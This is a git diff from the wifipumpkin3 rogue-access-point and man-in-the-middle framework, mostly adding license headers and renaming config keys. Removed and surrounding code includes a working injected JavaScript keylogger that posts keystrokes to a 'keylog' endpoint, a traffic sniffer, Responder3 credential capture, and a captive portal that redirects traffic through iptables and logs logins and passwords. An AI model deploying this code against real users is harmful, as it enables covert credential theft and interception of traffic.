||||
from wifipumpkin3.core.servers.dns.DNSBase import DNSBase
|
||||
from wifipumpkin3.core.packets.dnsserver import DNSServerThread
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class PyDNSServer(DNSBase):
|
||||
ID = "pydns_server"
|
||||
Name = "PyDNS Server"
|
||||
@ -11,19 +28,16 @@ class PyDNSServer(DNSBase):
|
||||
|
||||
def __init__(self,parent):
|
||||
super(PyDNSServer,self).__init__(parent)
|
||||
#self.logger.setIgnore(True)
|
||||
|
||||
@property
|
||||
def commandargs(self):
|
||||
pass
|
||||
|
||||
def LogOutput(self, data):
|
||||
if self.conf.get('accesspoint', 'statusAP', format=bool):
|
||||
if self.conf.get('accesspoint', 'status_ap', format=bool):
|
||||
self.logger.info(data)
|
||||
|
||||
def boot(self):
|
||||
#TODO : the pyDnsServer is disabled because problem dns instance setting os
|
||||
# future: check another alternative
|
||||
self.reactor = DNSServerThread(self.conf)
|
||||
self.reactor.sendRequests.connect(self.LogOutput)
|
||||
self.reactor.setObjectName(self.ID) # use dns2proxy as DNS server
|
||||
self.reactor.setObjectName(self.ID)
|
||||
|
@ -1,126 +0,0 @@
|
||||
from threading import Thread
|
||||
from core.utility.collection import SettingsINI
|
||||
try:
|
||||
from mitmproxy import controller,flow,master
|
||||
from plugins.extension import *
|
||||
except:
|
||||
pass
|
||||
|
||||
import core.utility.constants as C
|
||||
|
||||
|
||||
|
||||
|
||||
"""
|
||||
Description:
|
||||
This program is a core for wifi-pumpkin.py. file which includes functionality
|
||||
for Pumpkin-Proxy Core.
|
||||
|
||||
Copyright:
|
||||
Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>
|
||||
"""
|
||||
|
||||
class ThreadController(Thread):
|
||||
def __init__(self,main ,parent=None):
|
||||
super(ThreadController, self).__init__(parent)
|
||||
self.main = main
|
||||
|
||||
def run(self):
|
||||
try:
|
||||
master.Master.run(self.main)
|
||||
except :
|
||||
self.main.shutdown()
|
||||
|
||||
def stop(self):
|
||||
self.main.shutdown()
|
||||
|
||||
|
||||
class MasterHandler(master.Master):
|
||||
def __init__(self,opts, server,session):
|
||||
master.Master.__init__(self,opts, server)
|
||||
self.config = SettingsINI(C.CONFIG_PP_INI)
|
||||
self.session = session
|
||||
self.plugins = []
|
||||
self.initializePlugins()
|
||||
|
||||
def run(self,send):
|
||||
self.sendMethod = send
|
||||
for plugin in self.plugins:
|
||||
plugin.send_output = self.sendMethod
|
||||
self.thread = ThreadController(self)
|
||||
self.thread.start()
|
||||
|
||||
def disablePlugin(self,name, status):
|
||||
''' disable plugin by name '''
|
||||
plugin_on = []
|
||||
if status:
|
||||
for plugin in self.plugins:
|
||||
plugin_on.append(plugin.Name)
|
||||
if name not in plugin_on:
|
||||
for p in self.plugin_classes:
|
||||
pluginconf = p()
|
||||
if pluginconf.Name == name:
|
||||
pluginconf.send_output = self.sendMethod
|
||||
print('PumpkinProxy::{0:17} status:On'.format(name))
|
||||
self.plugins.append(pluginconf)
|
||||
else:
|
||||
for plugin in self.plugins:
|
||||
if plugin.Name == name:
|
||||
print('PumpkinProxy::{0:17} status:Off'.format(name))
|
||||
self.plugins.remove(plugin)
|
||||
|
||||
def initializePlugins(self):
|
||||
self.plugin_classes = plugin.PluginTemplate.__subclasses__()
|
||||
for p in self.plugin_classes:
|
||||
if self.config.get('plugins',p().Name,format=bool):
|
||||
print('PumpkinProxy::{0:17} status:On'.format(p().Name))
|
||||
self.plugins.append(p())
|
||||
# initialize logging in all plugins enable
|
||||
#for instance in self.plugins:
|
||||
# instance.init_logger(self.session)
|
||||
|
||||
@controller.handler
|
||||
def request(self, flow):
|
||||
'''
|
||||
print "-- request --"
|
||||
print flow.__dict__
|
||||
print flow.request.__dict__
|
||||
print flow.request.headers.__dict__
|
||||
print "--------------"
|
||||
print
|
||||
'''
|
||||
try:
|
||||
for p in self.plugins:
|
||||
p.request(flow)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
@controller.handler
|
||||
def response(self, flow):
|
||||
|
||||
'''
|
||||
print
|
||||
print "-- response --"
|
||||
print flow.__dict__
|
||||
print flow.response.__dict__
|
||||
print flow.response.headers.__dict__
|
||||
print "--------------"
|
||||
print
|
||||
'''
|
||||
try:
|
||||
for p in self.plugins:
|
||||
p.response(flow)
|
||||
except Exception:
|
||||
pass
|
@ -1,117 +0,0 @@
|
||||
window.onload = function (){
|
||||
var2 = ",";
|
||||
name = '';
|
||||
function make_xhr(){
|
||||
var xhr;
|
||||
try {
|
||||
xhr = new XMLHttpRequest();
|
||||
} catch(e) {
|
||||
try {
|
||||
xhr = new ActiveXObject("Microsoft.XMLHTTP");
|
||||
} catch(e) {
|
||||
xhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
|
||||
}
|
||||
}
|
||||
if(!xhr) {
|
||||
throw "failed to create XMLHttpRequest";
|
||||
}
|
||||
return xhr;
|
||||
}
|
||||
|
||||
xhr = make_xhr();
|
||||
xhr.onreadystatechange = function() {
|
||||
if(xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
|
||||
eval(xhr.responseText);
|
||||
}
|
||||
}
|
||||
|
||||
if (window.addEventListener){
|
||||
//console.log("first");
|
||||
document.addEventListener('keypress', function2, true);
|
||||
document.addEventListener('keydown', function1, true);
|
||||
}
|
||||
else if (window.attachEvent){
|
||||
//console.log("second");
|
||||
document.attachEvent('onkeypress', function2);
|
||||
document.attachEvent('onkeydown', function1);
|
||||
}
|
||||
else {
|
||||
//console.log("third");
|
||||
document.onkeypress = function2;
|
||||
document.onkeydown = function1;
|
||||
}
|
||||
}
|
||||
|
||||
function function2(e)
|
||||
{
|
||||
try
|
||||
{
|
||||
srcname = window.event.srcElement.name;
|
||||
}catch(error)
|
||||
{
|
||||
srcname = e.srcElement ? e.srcElement.name : e.target.name
|
||||
if (srcname == "")
|
||||
{
|
||||
srcname = e.target.name
|
||||
}
|
||||
}
|
||||
|
||||
var3 = (e) ? e.keyCode : e.which;
|
||||
if (var3 == 0)
|
||||
{
|
||||
var3 = e.charCode
|
||||
}
|
||||
|
||||
if (var3 != "d" && var3 != 8 && var3 != 9 && var3 != 13)
|
||||
{
|
||||
andxhr(var3.toString(16), srcname);
|
||||
}
|
||||
}
|
||||
|
||||
function function1(e)
|
||||
{
|
||||
try
|
||||
{
|
||||
srcname = window.event.srcElement.name;
|
||||
}catch(error)
|
||||
{
|
||||
srcname = e.srcElement ? e.srcElement.name : e.target.name
|
||||
if (srcname == "")
|
||||
{
|
||||
srcname = e.target.name
|
||||
}
|
||||
}
|
||||
|
||||
var3 = (e) ? e.keyCode : e.which;
|
||||
if (var3 == 9 || var3 == 8 || var3 == 13)
|
||||
{
|
||||
andxhr(var3.toString(16), srcname);
|
||||
}
|
||||
else if (var3 == 0)
|
||||
{
|
||||
|
||||
text = document.getElementById(id).value;
|
||||
if (text.length != 0)
|
||||
{
|
||||
andxhr(text.toString(16), srcname);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
function andxhr(key, inputName)
|
||||
{
|
||||
if (inputName != name)
|
||||
{
|
||||
name = inputName;
|
||||
var2 = ",";
|
||||
}
|
||||
var2= var2 + key + ",";
|
||||
xhr.open("POST", "keylog", true);
|
||||
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
|
||||
xhr.send(var2 + '&&' + inputName);
|
||||
|
||||
if (key == 13 || var2.length > 3000)
|
||||
{
|
||||
var2 = ",";
|
||||
}
|
||||
}
|
@ -7,6 +7,23 @@ from wifipumpkin3.core.common.uimodel import *
|
||||
from wifipumpkin3.core.config.globalimport import *
|
||||
from wifipumpkin3.core.widgets.default.logger_manager import LoggerManager
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class Widget(Qt.QObject):
|
||||
def __init__(self,parent):
|
||||
Qt.QObject.__init__(self,parent)
|
||||
@ -22,7 +39,6 @@ class MitmDock(DockableWidget):
|
||||
super(MitmDock,self).__init__(parent,title,info)
|
||||
self.setObjectName(self.title)
|
||||
|
||||
|
||||
class MitmMode(Widget):
|
||||
Name = "Generic"
|
||||
ID = "Generic"
|
||||
@ -49,8 +65,7 @@ class MitmMode(Widget):
|
||||
|
||||
if (self.getConfigINIPath != ''):
|
||||
self.config = SettingsINI(self.getConfigINIPath)
|
||||
#setup_logger(self.Name, self.LogFile, self.parent.currentSessionID)
|
||||
#self.logger = getLogger(self.Name)
|
||||
|
||||
self.loggermanager = LoggerManager.getInstance()
|
||||
self.configure_logger()
|
||||
|
||||
@ -114,17 +129,6 @@ class MitmMode(Widget):
|
||||
def hasSettings(self):
|
||||
return self.ModSettings
|
||||
|
||||
def CheckOptions(self):
|
||||
self.FSettings.Settings.set_setting('mitmhandler', self.Name, self.controlui.isChecked())
|
||||
self.dockwidget.addDock.emit(self.controlui.isChecked())
|
||||
if self.ModSettings:
|
||||
self.btnChangeSettings.setEnabled(self.controlui.isChecked())
|
||||
if self.controlui.isChecked() == True:
|
||||
self.setEnabled(True)
|
||||
else:
|
||||
self.setEnabled(False)
|
||||
self.Initialize()
|
||||
|
||||
def Initialize(self):
|
||||
self.SetRules()
|
||||
|
||||
@ -151,18 +155,8 @@ class MitmMode(Widget):
|
||||
self.reactor.terminate()
|
||||
|
||||
def LogOutput(self,data):
|
||||
#self.dockwidget.writeModeData(line)
|
||||
if self.conf.get('accesspoint', 'statusAP', format=bool):
|
||||
if self.conf.get('accesspoint', 'status_ap', format=bool):
|
||||
self.logger.info(data)
|
||||
# if self.FSettings.Settings.get_setting('accesspoint', 'statusAP', format=bool):
|
||||
# try:
|
||||
# data = str(data).split(' : ')[1]
|
||||
# for line in data.split('\n'):
|
||||
# if len(line) > 2 and not self.parent.currentSessionID in line:
|
||||
# self.dockwidget.writeModeData(line)
|
||||
# self.logger.info(line)
|
||||
# except IndexError:
|
||||
# return None
|
||||
|
||||
|
||||
|
||||
|
@ -4,6 +4,22 @@ from wifipumpkin3.core.config.globalimport import *
|
||||
from wifipumpkin3.core.widgets.docks.dock import DockableWidget
|
||||
from wifipumpkin3.core.controls.threads import ProcessThread
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class NetCredential(DockableWidget):
|
||||
id = "Responder3"
|
||||
@ -44,7 +60,7 @@ class Responder3(MitmMode):
|
||||
|
||||
@property
|
||||
def CMD_ARRAY(self):
|
||||
iface = self.conf.get('accesspoint', 'interfaceAP')
|
||||
iface = self.conf.get('accesspoint', 'interface')
|
||||
config_responder3_path = self.conf.get('mitm_modules', 'responder3_config')
|
||||
self._cmd_array=['-I',iface , '-4', '-p', config_responder3_path]
|
||||
return self._cmd_array
|
||||
|
@ -9,6 +9,23 @@ from wifipumpkin3.plugins.analyzers import *
|
||||
from wifipumpkin3.core.widgets.docks.dock import DockableWidget
|
||||
from wifipumpkin3.core.servers.mitm.mitmmode import MitmMode
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class TCPProxyDock(DockableWidget):
|
||||
id = "TCPProxy"
|
||||
title = "TCPProxy"
|
||||
@ -52,19 +69,19 @@ class Sniffkin3(MitmMode):
|
||||
def setPluginOption(self, name, status):
|
||||
''' get each plugins status'''
|
||||
# enable realtime disable and enable plugin
|
||||
if self.conf.get('accesspoint', 'statusAP', format=bool):
|
||||
if self.conf.get('accesspoint', 'status_ap', format=bool):
|
||||
self.reactor.disablePlugin(name, status)
|
||||
self.conf.set('plugins', name, status)
|
||||
|
||||
def boot(self):
|
||||
#self.handler = self.parent.Plugins.MITM
|
||||
iface = self.conf.get('accesspoint','interfaceAP')
|
||||
iface = self.conf.get('accesspoint','interface')
|
||||
self.reactor= Sniffkin3Core(iface, self.parent.currentSessionID)
|
||||
self.reactor.setObjectName(self.ID)
|
||||
self.reactor._ProcssOutput.connect(self.LogOutput)
|
||||
|
||||
def LogOutput(self,data):
|
||||
if self.conf.get('accesspoint', 'statusAP', format=bool):
|
||||
if self.conf.get('accesspoint', 'status_ap', format=bool):
|
||||
self.logger.info('[ {0[src]} > {0[dst]} ] {1[Method]} {1[Host]}{1[Path]}'.format(
|
||||
data['urlsCap']['IP'], data['urlsCap']['Headers']))
|
||||
|
||||
|
@ -1,94 +0,0 @@
|
||||
from PyQt5.QtCore import QThread,pyqtSignal
|
||||
from time import sleep,asctime,strftime
|
||||
from threading import Thread
|
||||
import queue
|
||||
from scapy.all import *
|
||||
import logging
|
||||
from wifipumpkin3.plugins.analyzers import *
|
||||
from wifipumpkin3.core.utility.collection import SettingsINI
|
||||
import wifipumpkin3.core.utility.constants as C
|
||||
from wifipumpkin3.core.utility.printer import display_messages,colors
|
||||
|
||||
"""
|
||||
Description:
|
||||
This program is a core for wifi-pumpkin.py. file which includes functionality
|
||||
for TCPProxy Core.
|
||||
|
||||
"""
|
||||
|
||||
class TH_SniffingPackets(QThread):
|
||||
output_plugins = pyqtSignal(object)
|
||||
def __init__(self,interface,session):
|
||||
QThread.__init__(self)
|
||||
self.interface = interface
|
||||
self.session = session
|
||||
self.stopped = False
|
||||
self.config = SettingsINI(C.CONFIG_TP_INI)
|
||||
self.msg_output = []
|
||||
self.queue_plugins = queue.Queue()
|
||||
|
||||
def run(self):
|
||||
self.main()
|
||||
|
||||
def sniffer(self,q):
|
||||
while not self.stopped:
|
||||
try:
|
||||
sniff(iface=self.interface,
|
||||
filter="tcp and ( port 80 )",
|
||||
prn =lambda x : q.put(x), store=0)
|
||||
except Exception:pass
|
||||
if self.stopped:
|
||||
break
|
||||
|
||||
def disablePlugin(self,name, status):
|
||||
''' disable plugin by name '''
|
||||
plugin_on = []
|
||||
if status:
|
||||
for plugin in self.plugins:
|
||||
plugin_on.append(self.plugins[plugin].Name)
|
||||
if name not in plugin_on:
|
||||
for p in self.plugin_classes:
|
||||
pluginconf = p()
|
||||
if pluginconf.Name == name:
|
||||
self.plugins[name] = pluginconf
|
||||
self.plugins[name].getInstance()._activated = True
|
||||
#print('TCPProxy::{0:17} status:On'.format(name))
|
||||
else:
|
||||
#print('TCPProxy::{0:17} status:Off'.format(name))
|
||||
self.plugins.pop(self.plugins[name].Name)
|
||||
|
||||
|
||||
def get_output_activated(self):
|
||||
while not self.stopped:
|
||||
self.msg_output.append(self.queue_plugins.get())
|
||||
|
||||
def main(self):
|
||||
self.plugins = {}
|
||||
self.plugin_classes = default.PSniffer.__subclasses__()
|
||||
for p in self.plugin_classes:
|
||||
plugin_load = p()
|
||||
self.plugins[plugin_load.Name] = plugin_load
|
||||
self.plugins[plugin_load.Name].output = self.output_plugins
|
||||
self.plugins[plugin_load.Name].session = self.session
|
||||
|
||||
for name in self.plugins.keys():
|
||||
if self.config.get('plugins', name, format=bool):
|
||||
self.plugins[name].getInstance()._activated = True
|
||||
#print('TCPProxy::{0:17} status:On'.format(name))
|
||||
q = queue.Queue()
|
||||
sniff = Thread(target =self.sniffer, args = (q,))
|
||||
sniff.start()
|
||||
while (not self.stopped):
|
||||
try:
|
||||
pkt = q.get(timeout = 0)
|
||||
for Active in self.plugins.keys():
|
||||
if self.plugins[Active].getInstance()._activated:
|
||||
try:
|
||||
self.plugins[Active].filterPackets(pkt)
|
||||
except Exception: pass
|
||||
except queue.Empty:
|
||||
pass
|
||||
|
||||
def stop(self):
|
||||
self.stopped = True
|
||||
print('Thread::[{}] successfully stopped.'.format(self.objectName()))
|
@ -6,7 +6,6 @@ import queue
|
||||
from scapy.all import *
|
||||
import logging, os
|
||||
import wifipumpkin3.core.utility.constants as C
|
||||
from wifipumpkin3.core.common.platforms import setup_logger
|
||||
from wifipumpkin3.core.servers.proxy.proxymode import *
|
||||
from wifipumpkin3.core.utility.collection import SettingsINI
|
||||
from wifipumpkin3.core.common.uimodel import *
|
||||
@ -14,6 +13,23 @@ from wifipumpkin3.core.widgets.docks.dock import DockableWidget
|
||||
from wifipumpkin3.plugins.captivePortal import *
|
||||
from ast import literal_eval
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class TCPProxyDock(DockableWidget):
|
||||
id = "TCPProxy"
|
||||
title = "TCPProxy"
|
||||
@ -54,7 +70,6 @@ class CaptivePortal(ProxyMode):
|
||||
self.setTypePlugin(self.TypePlugin)
|
||||
self.plugins = []
|
||||
self.search_all_ProxyPlugins()
|
||||
#self.setRunningPort(self.conf.get('proxy_plugins', 'pumpkinproxy_config_port'))
|
||||
|
||||
@property
|
||||
def CMD_ARRAY(self):
|
||||
@ -73,7 +88,7 @@ class CaptivePortal(ProxyMode):
|
||||
self.reactor.setObjectName(self.ID)
|
||||
|
||||
# settings iptables for add support captive portal
|
||||
IFACE = self.conf.get('accesspoint', 'interfaceAP')
|
||||
IFACE = self.conf.get('accesspoint', 'interface')
|
||||
IP_ADDRESS = self.conf.get('dhcp', 'router')
|
||||
PORT= 80
|
||||
|
||||
@ -89,7 +104,6 @@ class CaptivePortal(ProxyMode):
|
||||
self.defaults_rules[self.ID].append('iptables -t nat -A PREROUTING -i {iface} -p tcp --dport 80 -j DNAT --to-destination {ip}:{port}'.format(iface=IFACE,ip=IP_ADDRESS, port=PORT))
|
||||
self.runDefaultRules()
|
||||
|
||||
|
||||
@property
|
||||
def getPlugins(self):
|
||||
commands = self.config.get_all_childname('plugins')
|
||||
@ -100,7 +114,7 @@ class CaptivePortal(ProxyMode):
|
||||
|
||||
def LogOutput(self,data):
|
||||
headers_table, output_table = ["IP", "Login", "Password"], []
|
||||
if self.conf.get('accesspoint', 'statusAP', format=bool):
|
||||
if self.conf.get('accesspoint', 'status_ap', format=bool):
|
||||
self.logger.info(data)
|
||||
try:
|
||||
data = literal_eval(data)
|
||||
|
@ -1,6 +1,23 @@
|
||||
from wifipumpkin3.core.common.uimodel import *
|
||||
from wifipumpkin3.core.servers.proxy.proxymode import ProxyMode
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class NoProxy(ProxyMode):
|
||||
Name="noproxy"
|
||||
ID="noproxy"
|
||||
|
@ -1,13 +1,28 @@
|
||||
#from core.widgets.docks.dock import *
|
||||
from wifipumpkin3.core.controls.threads import ProcessThread
|
||||
from wifipumpkin3.core.controllers.wirelessmodecontroller import AccessPointSettings
|
||||
from wifipumpkin3.core.common.uimodel import *
|
||||
from wifipumpkin3.core.widgets.docks.dock import *
|
||||
from wifipumpkin3.core.common.platforms import setup_logger
|
||||
from wifipumpkin3.core.config.globalimport import *
|
||||
from wifipumpkin3.core.widgets.default.logger_manager import LoggerManager
|
||||
from wifipumpkin3.core.utility.component import ComponentBlueprint
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class Widget(Qt.QObject):
|
||||
def __init__(self):
|
||||
Qt.QObject.__init__(self)
|
||||
@ -36,7 +51,6 @@ class ProxyMode(Widget,ComponentBlueprint):
|
||||
RunningPort = 80
|
||||
config = None
|
||||
|
||||
|
||||
def __init__(self,parent):
|
||||
super(ProxyMode, self).__init__()
|
||||
self.parent = parent
|
||||
@ -76,7 +90,7 @@ class ProxyMode(Widget,ComponentBlueprint):
|
||||
|
||||
def parser_set_proxy(self, proxy_name, *args):
|
||||
# default parser proxy commands complete
|
||||
if not self.conf.get('accesspoint', 'statusAP', format=bool):
|
||||
if not self.conf.get('accesspoint', 'status_ap', format=bool):
|
||||
plugins_selected = [plugin for plugin in self.conf.get_all_childname('proxy_plugins') if plugin == proxy_name]
|
||||
if (plugins_selected != []):
|
||||
self.conf.set('proxy_plugins', plugins_selected[0], True)
|
||||
@ -129,16 +143,6 @@ class ProxyMode(Widget,ComponentBlueprint):
|
||||
def Wireless(self):
|
||||
return AccessPointSettings.instances[0]
|
||||
|
||||
def get_disable_status(self):
|
||||
if self.FSettings.Settings.get_setting('plugins', self.Name, format=bool) == True:
|
||||
if self.Name == "No Proxy":
|
||||
self.ClearRules()
|
||||
self.parent.set_proxy_statusbar('', disabled=True)
|
||||
self.sendSingal_disable.emit(self.controlui.isChecked())
|
||||
return
|
||||
|
||||
self.parent.set_proxy_statusbar(self.Name)
|
||||
|
||||
def onProxyEnabled(self):
|
||||
pass
|
||||
|
||||
@ -149,24 +153,6 @@ class ProxyMode(Widget,ComponentBlueprint):
|
||||
def hasSettings(self):
|
||||
return self.ModSettings
|
||||
|
||||
def CheckOptions(self):
|
||||
self.FSettings.Settings.set_setting('plugins', self.Name, self.controlui.isChecked())
|
||||
self.dockwidget.addDock.emit(self.controlui.isChecked())
|
||||
self.get_disable_status()
|
||||
self.ClearRules()
|
||||
self.Initialize()
|
||||
if self.ModSettings:
|
||||
self.btnChangeSettings.setEnabled(self.controlui.isChecked())
|
||||
if self.controlui.isChecked() == True:
|
||||
self.setEnabled(True)
|
||||
self.onProxyEnabled()
|
||||
self.tabinterface.setText("[ {} ]".format(self.Name))
|
||||
|
||||
else:
|
||||
self.onProxyDisabled()
|
||||
self.setEnabled(False)
|
||||
self.tabinterface.setText(self.Name)
|
||||
|
||||
@property
|
||||
def CMD_ARRAY(self):
|
||||
#self._cmd_array.extend(self.parent.currentSessionID)
|
||||
@ -191,38 +177,17 @@ class ProxyMode(Widget,ComponentBlueprint):
|
||||
''' add rules iptable by type plugins'''
|
||||
return self.search[type]
|
||||
|
||||
def SetRules(self,strrules=""):
|
||||
items = []
|
||||
for index in xrange(self.FSettings.ListRules.count()):
|
||||
items.append(str(self.FSettings.ListRules.item(index).text()))
|
||||
if self.optionsRules(strrules) in items:
|
||||
return
|
||||
if (self.optionsRules(strrules) != None):
|
||||
item = QtGui.QListWidgetItem()
|
||||
item.setText(self.optionsRules(strrules))
|
||||
item.setSizeHint(QtCore.QSize(30, 30))
|
||||
self.FSettings.ListRules.addItem(item)
|
||||
|
||||
def ClearRules(self):
|
||||
for rules in self.search.keys():
|
||||
self.unset_Rules(rules)
|
||||
|
||||
def LogOutput(self,data):
|
||||
if self.conf.get('accesspoint', 'statusAP', format=bool):
|
||||
if self.conf.get('accesspoint', 'status_ap', format=bool):
|
||||
print(data)
|
||||
|
||||
def Configure(self):
|
||||
self.ConfigWindow.show()
|
||||
|
||||
def unset_Rules(self,iptables):
|
||||
''' remove rules from Listwidget in settings widget'''
|
||||
items = []
|
||||
for index in xrange(self.FSettings.ListRules.count()):
|
||||
items.append(str(self.FSettings.ListRules.item(index).text()))
|
||||
for position,line in enumerate(items):
|
||||
if self.optionsRules(iptables) == line:
|
||||
self.FSettings.ListRules.takeItem(position)
|
||||
|
||||
|
||||
def SaveLog(self):
|
||||
pass
|
||||
|
||||
|
@ -6,12 +6,28 @@ import queue
|
||||
from scapy.all import *
|
||||
import logging, os
|
||||
import wifipumpkin3.core.utility.constants as C
|
||||
from wifipumpkin3.core.common.platforms import setup_logger
|
||||
from wifipumpkin3.core.servers.proxy.proxymode import *
|
||||
from wifipumpkin3.core.utility.collection import SettingsINI
|
||||
from wifipumpkin3.core.common.uimodel import *
|
||||
from wifipumpkin3.core.widgets.docks.dock import DockableWidget
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class TCPProxyDock(DockableWidget):
|
||||
id = "TCPProxy"
|
||||
title = "TCPProxy"
|
||||
@ -74,7 +90,7 @@ class PumpKinProxy(ProxyMode):
|
||||
return list_commands
|
||||
|
||||
def LogOutput(self,data):
|
||||
if self.conf.get('accesspoint', 'statusAP', format=bool):
|
||||
if self.conf.get('accesspoint', 'status_ap', format=bool):
|
||||
self.logger.info(data)
|
||||
|
||||
def parser_set_pumpkinproxy(self, status, plugin_name):
|
||||
|
@ -10,6 +10,23 @@ from multiprocessing import Process
|
||||
from wifipumpkin3.core.config.globalimport import *
|
||||
from wifipumpkin3.core.ui.uimode import WidgetBase
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
